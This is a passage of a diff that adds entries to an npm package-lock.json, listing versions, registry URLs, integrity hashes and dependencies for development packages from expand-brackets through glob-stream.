+ "ms": "2.0.0"
+ }
+ },
+ "node_modules/expand-brackets/node_modules/ms": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+ "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==",
+ "dev": true
+ },
+ "node_modules/expand-tilde": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/expand-tilde/-/expand-tilde-2.0.2.tgz",
+ "integrity": "sha512-A5EmesHW6rfnZ9ysHQjPdJRni0SRar0tjtG5MNtm9n5TUvsYU8oozprtRD4AqHxcZWWlVuAmQo2nWKfN9oyjTw==",
+ "dev": true,
+ "dependencies": {
+ "homedir-polyfill": "^1.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/ext": {
+ "version": "1.7.0",
+ "resolved": "https://registry.npmjs.org/ext/-/ext-1.7.0.tgz",
+ "integrity": "sha512-6hxeJYaL110a9b5TEJSj0gojyHQAmA2ch5Os+ySCiA1QGdS697XWY1pzsrSjqA9LDEEgdB/KypIlR59RcLuHYw==",
+ "dev": true,
+ "dependencies": {
+ "type": "^2.7.2"
+ }
+ },
+ "node_modules/ext/node_modules/type": {
+ "version": "2.7.2",
+ "resolved": "https://registry.npmjs.org/type/-/type-2.7.2.tgz",
+ "integrity": "sha512-dzlvlNlt6AXU7EBSfpAscydQ7gXB+pPGsPnfJnZpiNJBDj7IaJzQlBZYGdEi4R9HmPdBv2XmWJ6YUtoTa7lmCw==",
+ "dev": true
+ },
+ "node_modules/extend": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz",
+ "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==",
+ "dev": true
+ },
+ "node_modules/extend-shallow": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+ "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
+ "dev": true,
+ "dependencies": {
+ "is-extendable": "^0.1.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/extension-cli": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/extension-cli/-/extension-cli-1.2.4.tgz",
+ "integrity": "sha512-E5dmsoEyPqW4toxv55YpbAYMMm6dDi12cLzY+Fw3wCmWTCSIEbsSMMhIIwqbX02AdvgwvMruRW3EYn0SMC9OpQ==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/MobileFirstLLC"
+ }
+ ],
+ "dependencies": {
+ "@babel/preset-env": "7.15.8",
+ "@babel/register": "7.15.3",
+ "chai": "4.3.4",
+ "chalk": "4.1.2",
+ "cli-spinner": "0.2.10",
+ "commander": "8.2.0",
+ "del": "6.0.0",
+ "eslint": "8.0.0",
+ "gulp": "4.0.2",
+ "gulp-change": "1.0.2",
+ "gulp-clean-css": "4.3.0",
+ "gulp-concat": "2.6.1",
+ "gulp-htmlmin": "5.0.1",
+ "gulp-jsonminify": "1.1.0",
+ "gulp-load-plugins": "2.0.7",
+ "gulp-merge-json": "2.1.1",
+ "gulp-rename": "2.0.0",
+ "gulp-sass": "5.0.0",
+ "gulp-zip": "5.1.0",
+ "jsdoc": "3.6.7",
+ "jsdom": "18.0.0",
+ "jsdom-global": "3.0.2",
+ "mocha": "9.1.2",
+ "nyc": "15.1.0",
+ "prompts": "2.4.2",
+ "sass": "1.43.2",
+ "sinon": "11.1.2",
+ "sinon-chrome": "3.0.1",
+ "webpack-stream": "7.0.0",
+ "yargs": "17.2.1"
+ },
+ "bin": {
+ "extension-cli": "cli/xt-create.js",
+ "xt-build": "cli/xt-build.js",
+ "xt-clean": "cli/xt-clean.js",
+ "xt-docs": "cli/xt-docs.js",
+ "xt-sync": "cli/xt-sync.js",
+ "xt-test": "cli/xt-test.js"
+ },
+ "engines": {
+ "node": ">=12.0.0"
+ }
+ },
+ "node_modules/extglob": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz",
+ "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==",
+ "dev": true,
+ "dependencies": {
+ "array-unique": "^0.3.2",
+ "define-property": "^1.0.0",
+ "expand-brackets": "^2.1.4",
+ "extend-shallow": "^2.0.1",
+ "fragment-cache": "^0.2.1",
+ "regex-not": "^1.0.0",
+ "snapdragon": "^0.8.1",
+ "to-regex": "^3.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/extglob/node_modules/define-property": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
+ "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==",
+ "dev": true,
+ "dependencies": {
+ "is-descriptor": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/extglob/node_modules/is-accessor-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/extglob/node_modules/is-data-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/extglob/node_modules/is-descriptor": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+ "dev": true,
+ "dependencies": {
+ "is-accessor-descriptor": "^1.0.0",
+ "is-data-descriptor": "^1.0.0",
+ "kind-of": "^6.0.2"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/fancy-log": {
+ "version": "1.3.3",
+ "resolved": "https://registry.npmjs.org/fancy-log/-/fancy-log-1.3.3.tgz",
+ "integrity": "sha512-k9oEhlyc0FrVh25qYuSELjr8oxsCoc4/LEZfg2iJJrfEk/tZL9bCoJE47gqAvI2m/AUjluCS4+3I0eTx8n3AEw==",
+ "dev": true,
+ "dependencies": {
+ "ansi-gray": "^0.1.1",
+ "color-support": "^1.1.3",
+ "parse-node-version": "^1.0.0",
+ "time-stamp": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/fast-deep-equal": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
+ "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==",
+ "dev": true
+ },
+ "node_modules/fast-glob": {
+ "version": "3.3.0",
+ "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.0.tgz",
+ "integrity": "sha512-ChDuvbOypPuNjO8yIDf36x7BlZX1smcUMTTcyoIjycexOxd6DFsKsg21qVBzEmr3G7fUKIRy2/psii+CIUt7FA==",
+ "dev": true,
+ "dependencies": {
+ "@nodelib/fs.stat": "^2.0.2",
+ "@nodelib/fs.walk": "^1.2.3",
+ "glob-parent": "^5.1.2",
+ "merge2": "^1.3.0",
+ "micromatch": "^4.0.4"
+ },
+ "engines": {
+ "node": ">=8.6.0"
+ }
+ },
+ "node_modules/fast-glob/node_modules/glob-parent": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
+ "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+ "dev": true,
+ "dependencies": {
+ "is-glob": "^4.0.1"
+ },
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/fast-json-stable-stringify": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz",
+ "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==",
+ "dev": true
+ },
+ "node_modules/fast-levenshtein": {
+ "version": "2.0.6",
+ "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz",
+ "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==",
+ "dev": true
+ },
+ "node_modules/fastq": {
+ "version": "1.15.0",
+ "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.15.0.tgz",
+ "integrity": "sha512-wBrocU2LCXXa+lWBt8RoIRD89Fi8OdABODa/kEnyeyjS5aZO5/GNvI5sEINADqP/h8M29UHTHUb53sUu5Ihqdw==",
+ "dev": true,
+ "dependencies": {
+ "reusify": "^1.0.4"
+ }
+ },
+ "node_modules/file-entry-cache": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz",
+ "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==",
+ "dev": true,
+ "dependencies": {
+ "flat-cache": "^3.0.4"
+ },
+ "engines": {
+ "node": "^10.12.0 || >=12.0.0"
+ }
+ },
+ "node_modules/file-uri-to-path": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz",
+ "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==",
+ "dev": true,
+ "optional": true
+ },
+ "node_modules/fill-range": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz",
+ "integrity": "sha512-VcpLTWqWDiTerugjj8e3+esbg+skS3M9e54UuR3iCeIDMXCLTsAH8hTSzDQU/X6/6t3eYkOKoZSef2PlU6U1XQ==",
+ "dev": true,
+ "dependencies": {
+ "extend-shallow": "^2.0.1",
+ "is-number": "^3.0.0",
+ "repeat-string": "^1.6.1",
+ "to-regex-range": "^2.1.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/find-cache-dir": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-2.1.0.tgz",
+ "integrity": "sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==",
+ "dev": true,
+ "dependencies": {
+ "commondir": "^1.0.1",
+ "make-dir": "^2.0.0",
+ "pkg-dir": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/find-up": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz",
+ "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==",
+ "dev": true,
+ "dependencies": {
+ "locate-path": "^6.0.0",
+ "path-exists": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/findup-sync": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/findup-sync/-/findup-sync-4.0.0.tgz",
+ "integrity": "sha512-6jvvn/12IC4quLBL1KNokxC7wWTvYncaVUYSoxWw7YykPLuRrnv4qdHcSOywOI5RpkOVGeQRtWM8/q+G6W6qfQ==",
+ "dev": true,
+ "dependencies": {
+ "detect-file": "^1.0.0",
+ "is-glob": "^4.0.0",
+ "micromatch": "^4.0.2",
+ "resolve-dir": "^1.0.1"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/fined": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/fined/-/fined-1.2.0.tgz",
+ "integrity": "sha512-ZYDqPLGxDkDhDZBjZBb+oD1+j0rA4E0pXY50eplAAOPg2N/gUBSSk5IM1/QhPfyVo19lJ+CvXpqfvk+b2p/8Ng==",
+ "dev": true,
+ "dependencies": {
+ "expand-tilde": "^2.0.2",
+ "is-plain-object": "^2.0.3",
+ "object.defaults": "^1.1.0",
+ "object.pick": "^1.2.0",
+ "parse-filepath": "^1.0.1"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/flagged-respawn": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/flagged-respawn/-/flagged-respawn-1.0.1.tgz",
+ "integrity": "sha512-lNaHNVymajmk0OJMBn8fVUAU1BtDeKIqKoVhk4xAALB57aALg6b4W0MfJ/cUE0g9YBXy5XhSlPIpYIJ7HaY/3Q==",
+ "dev": true,
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/flat": {
+ "version": "5.0.2",
+ "resolved": "https://registry.npmjs.org/flat/-/flat-5.0.2.tgz",
+ "integrity": "sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ==",
+ "dev": true,
+ "bin": {
+ "flat": "cli.js"
+ }
+ },
+ "node_modules/flat-cache": {
+ "version": "3.0.4",
+ "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.0.4.tgz",
+ "integrity": "sha512-dm9s5Pw7Jc0GvMYbshN6zchCA9RgQlzzEZX3vylR9IqFfS8XciblUXOKfW6SiuJ0e13eDYZoZV5wdrev7P3Nwg==",
+ "dev": true,
+ "dependencies": {
+ "flatted": "^3.1.0",
+ "rimraf": "^3.0.2"
+ },
+ "engines": {
+ "node": "^10.12.0 || >=12.0.0"
+ }
+ },
+ "node_modules/flatted": {
+ "version": "3.2.7",
+ "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.7.tgz",
+ "integrity": "sha512-5nqDSxl8nn5BSNxyR3n4I6eDmbolI6WT+QqR547RwxQapgjQBmtktdP+HTBb/a/zLsbzERTONyUB5pefh5TtjQ==",
+ "dev": true
+ },
+ "node_modules/flowbite-typography": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/flowbite-typography/-/flowbite-typography-1.0.3.tgz",
+ "integrity": "sha512-UbdQFIIOb7xx2TS+QQrqr79B6ZSkSZurxYWzV0npth6Wns3/j7KfeDJoH9QFU+Zs7zjrvejNtyzgzWLWyCrdiA==",
+ "dev": true,
+ "dependencies": {
+ "lodash.castarray": "^4.4.0",
+ "lodash.isplainobject": "^4.0.6",
+ "lodash.merge": "^4.6.2"
+ },
+ "peerDependencies": {
+ "tailwindcss": ">=3.0.0 || insiders"
+ }
+ },
+ "node_modules/flush-write-stream": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/flush-write-stream/-/flush-write-stream-1.1.1.tgz",
+ "integrity": "sha512-3Z4XhFZ3992uIq0XOqb9AreonueSYphE6oYbpt5+3u06JWklbsPkNv3ZKkP9Bz/r+1MWCaMoSQ28P85+1Yc77w==",
+ "dev": true,
+ "dependencies": {
+ "inherits": "^2.0.3",
+ "readable-stream": "^2.3.6"
+ }
+ },
+ "node_modules/for-in": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz",
+ "integrity": "sha512-7EwmXrOjyL+ChxMhmG5lnW9MPt1aIeZEwKhQzoBUdTV0N3zuwWDZYVJatDvZ2OyzPUvdIAZDsCetk3coyMfcnQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/for-own": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/for-own/-/for-own-1.0.0.tgz",
+ "integrity": "sha512-0OABksIGrxKK8K4kynWkQ7y1zounQxP+CWnyclVwj81KW3vlLlGUx57DKGcP/LH216GzqnstnPocF16Nxs0Ycg==",
+ "dev": true,
+ "dependencies": {
+ "for-in": "^1.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/foreground-child": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-2.0.0.tgz",
+ "integrity": "sha512-dCIq9FpEcyQyXKCkyzmlPTFNgrCzPudOe+mhvJU5zAtlBnGVy2yKxtfsxK2tQBThwq225jcvBjpw1Gr40uzZCA==",
+ "dev": true,
+ "dependencies": {
+ "cross-spawn": "^7.0.0",
+ "signal-exit": "^3.0.2"
+ },
+ "engines": {
+ "node": ">=8.0.0"
+ }
+ },
+ "node_modules/form-data": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz",
+ "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==",
+ "dev": true,
+ "dependencies": {
+ "asynckit": "^0.4.0",
+ "combined-stream": "^1.0.8",
+ "mime-types": "^2.1.12"
+ },
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/fraction.js": {
+ "version": "4.2.0",
+ "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-4.2.0.tgz",
+ "integrity": "sha512-MhLuK+2gUcnZe8ZHlaaINnQLl0xRIGRfcGk2yl8xoQAfHrSsL3rYu6FCmBdkdbhc9EPlwyGHewaRsvwRMJtAlA==",
+ "dev": true,
+ "engines": {
+ "node": "*"
+ },
+ "funding": {
+ "type": "patreon",
+ "url": "https://www.patreon.com/infusion"
+ }
+ },
+ "node_modules/fragment-cache": {
+ "version": "0.2.1",
+ "resolved": "https://registry.npmjs.org/fragment-cache/-/fragment-cache-0.2.1.tgz",
+ "integrity": "sha512-GMBAbW9antB8iZRHLoGw0b3HANt57diZYFO/HL1JGIC1MjKrdmhxvrJbupnVvpys0zsz7yBApXdQyfepKly2kA==",
+ "dev": true,
+ "dependencies": {
+ "map-cache": "^0.2.2"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/from": {
+ "version": "0.1.7",
+ "resolved": "https://registry.npmjs.org/from/-/from-0.1.7.tgz",
+ "integrity": "sha512-twe20eF1OxVxp/ML/kq2p1uc6KvFK/+vs8WjEbeKmV2He22MKm7YF2ANIt+EOqhJ5L3K/SuuPhk0hWQDjOM23g==",
+ "dev": true
+ },
+ "node_modules/fromentries": {
+ "version": "1.3.2",
+ "resolved": "https://registry.npmjs.org/fromentries/-/fromentries-1.3.2.tgz",
+ "integrity": "sha512-cHEpEQHUg0f8XdtZCc2ZAhrHzKzT0MrFUTcvx+hfxYu7rGMDc5SKoXFh+n4YigxsHXRzc6OrCshdR1bWH6HHyg==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/feross"
+ },
+ {
+ "type": "patreon",
+ "url": "https://www.patreon.com/feross"
+ },
+ {
+ "type": "consulting",
+ "url": "https://feross.org/support"
+ }
+ ]
+ },
+ "node_modules/fs-extra": {
+ "version": "11.1.1",
+ "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.1.1.tgz",
+ "integrity": "sha512-MGIE4HOvQCeUCzmlHs0vXpih4ysz4wg9qiSAu6cd42lVwPbTM1TjV7RusoyQqMmk/95gdQZX72u+YW+c3eEpFQ==",
+ "dev": true,
+ "dependencies": {
+ "graceful-fs": "^4.2.0",
+ "jsonfile": "^6.0.1",
+ "universalify": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=14.14"
+ }
+ },
+ "node_modules/fs-extra/node_modules/universalify": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz",
+ "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==",
+ "dev": true,
+ "engines": {
+ "node": ">= 10.0.0"
+ }
+ },
+ "node_modules/fs-mkdirp-stream": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/fs-mkdirp-stream/-/fs-mkdirp-stream-1.0.0.tgz",
+ "integrity": "sha512-+vSd9frUnapVC2RZYfL3FCB2p3g4TBhaUmrsWlSudsGdnxIuUvBB2QM1VZeBtc49QFwrp+wQLrDs3+xxDgI5gQ==",
+ "dev": true,
+ "dependencies": {
+ "graceful-fs": "^4.1.11",
+ "through2": "^2.0.3"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/fs-mkdirp-stream/node_modules/through2": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz",
+ "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==",
+ "dev": true,
+ "dependencies": {
+ "readable-stream": "~2.3.6",
+ "xtend": "~4.0.1"
+ }
+ },
+ "node_modules/fs.realpath": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
+ "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==",
+ "dev": true
+ },
+ "node_modules/fsevents": {
+ "version": "1.2.13",
+ "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.13.tgz",
+ "integrity": "sha512-oWb1Z6mkHIskLzEJ/XWX0srkpkTQ7vaopMQkyaEIoq0fmtFVxOthb8cCxeT+p3ynTdkk/RZwbgG4brR5BeWECw==",
+ "deprecated": "The v1 package contains DANGEROUS / INSECURE binaries. Upgrade to safe fsevents v2",
+ "dev": true,
+ "hasInstallScript": true,
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "dependencies": {
+ "bindings": "^1.5.0",
+ "nan": "^2.12.1"
+ },
+ "engines": {
+ "node": ">= 4.0"
+ }
+ },
+ "node_modules/function-bind": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz",
+ "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==",
+ "dev": true
+ },
+ "node_modules/functional-red-black-tree": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz",
+ "integrity": "sha512-dsKNQNdj6xA3T+QlADDA7mOSlX0qiMINjn0cgr+eGHGsbSHzTabcIogz2+p/iqP1Xs6EP/sS2SbqH+brGTbq0g==",
+ "dev": true
+ },
+ "node_modules/gensync": {
+ "version": "1.0.0-beta.2",
+ "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz",
+ "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==",
+ "dev": true,
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/get-caller-file": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz",
+ "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==",
+ "dev": true,
+ "engines": {
+ "node": "6.* || 8.* || >= 10.*"
+ }
+ },
+ "node_modules/get-func-name": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/get-func-name/-/get-func-name-2.0.0.tgz",
+ "integrity": "sha512-Hm0ixYtaSZ/V7C8FJrtZIuBBI+iSgL+1Aq82zSu8VQNB4S3Gk8e7Qs3VwBDJAhmRZcFqkl3tQu36g/Foh5I5ig==",
+ "dev": true,
+ "engines": {
+ "node": "*"
+ }
+ },
+ "node_modules/get-intrinsic": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.1.tgz",
+ "integrity": "sha512-2DcsyfABl+gVHEfCOaTrWgyt+tb6MSEGmKq+kI5HwLbIYgjgmMcV8KQ41uaKz1xxUcn9tJtgFbQUEVcEbd0FYw==",
+ "dev": true,
+ "dependencies": {
+ "function-bind": "^1.1.1",
+ "has": "^1.0.3",
+ "has-proto": "^1.0.1",
+ "has-symbols": "^1.0.3"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/get-package-type": {
+ "version": "0.1.0",
+ "resolved": "https://registry.npmjs.org/get-package-type/-/get-package-type-0.1.0.tgz",
+ "integrity": "sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==",
+ "dev": true,
+ "engines": {
+ "node": ">=8.0.0"
+ }
+ },
+ "node_modules/get-stdin": {
+ "version": "9.0.0",
+ "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-9.0.0.tgz",
+ "integrity": "sha512-dVKBjfWisLAicarI2Sf+JuBE/DghV4UzNAVe9yhEJuzeREd3JhOTE9cUaJTeSa77fsbQUK3pcOpJfM59+VKZaA==",
+ "dev": true,
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/get-stream": {
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz",
+ "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==",
+ "dev": true,
+ "dependencies": {
+ "pump": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/get-value": {
+ "version": "2.0.6",
+ "resolved": "https://registry.npmjs.org/get-value/-/get-value-2.0.6.tgz",
+ "integrity": "sha512-Ln0UQDlxH1BapMu3GPtf7CuYNwRZf2gwCuPqbyG6pB8WfmFpzqcy4xtAaAMUhnNqjMKTiCPZG2oMT3YSx8U2NA==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/glob": {
+ "version": "7.1.7",
+ "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.7.tgz",
+ "integrity": "sha512-OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ==",
+ "dev": true,
+ "dependencies": {
+ "fs.realpath": "^1.0.0",
+ "inflight": "^1.0.4",
+ "inherits": "2",
+ "minimatch": "^3.0.4",
+ "once": "^1.3.0",
+ "path-is-absolute": "^1.0.0"
+ },
+ "engines": {
+ "node": "*"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
+ "node_modules/glob-parent": {
+ "version": "6.0.2",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz",
+ "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==",
+ "dev": true,
+ "dependencies": {
+ "is-glob": "^4.0.3"
+ },
+ "engines": {
+ "node": ">=10.13.0"
+ }
+ },
+ "node_modules/glob-stream": {
+ "version": "6.1.0",
